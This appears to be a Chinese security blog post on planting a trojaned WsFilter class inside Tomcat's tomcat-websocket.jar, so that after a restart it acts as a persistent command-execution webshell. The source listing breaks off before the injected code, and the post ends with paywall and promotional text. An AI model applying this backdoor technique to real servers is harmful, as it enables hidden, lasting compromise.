介绍
今天研究内存马相关的东西,偶然间发现一处解析BUG
一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE
不一定算得上是漏洞,不过我还是向Tomcat发了邮件尝试

Tomcat果然拒绝了,原因是需要在其他漏洞的基础上触发

这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈
1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图
思路
思路来自于之前写的一篇文章:某知名Java框架内存马挖掘
从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中
换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢
使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter

能否构造出一个恶意的WsFilter类注入到依赖库中
构造
在目标Tomcat/lib下找到tomcat-websocket.jar

找到WsFilter的代码,在doFilter中插入一些代码
我这里是简单的回显执行命令,也可以是一些其他逻辑
package org.apache.tomcat.websocket.server;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* Handles the initial HTTP connection for WebSocket connections.
*/
public class WsFilter implements Filter {
private WsServerContainer sc;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
}
@Override
public void

本文介绍了通过Tomcat的解析漏洞,如何构造并利用一个特殊的内存马。作者发现了在Tomcat/lib目录下,通过添加命名有空格或特殊字符的jar包,可以实现恶意WsFilter的加载,从而在服务重启后形成持久化的Webshell。尽管Tomcat官方认为这需要其他漏洞配合触发,但作者展示了在特定情况下,这种利用方式可能绕过常规审计。
最低0.47元/天 解锁文章
4631

被折叠的 条评论
为什么被折叠?



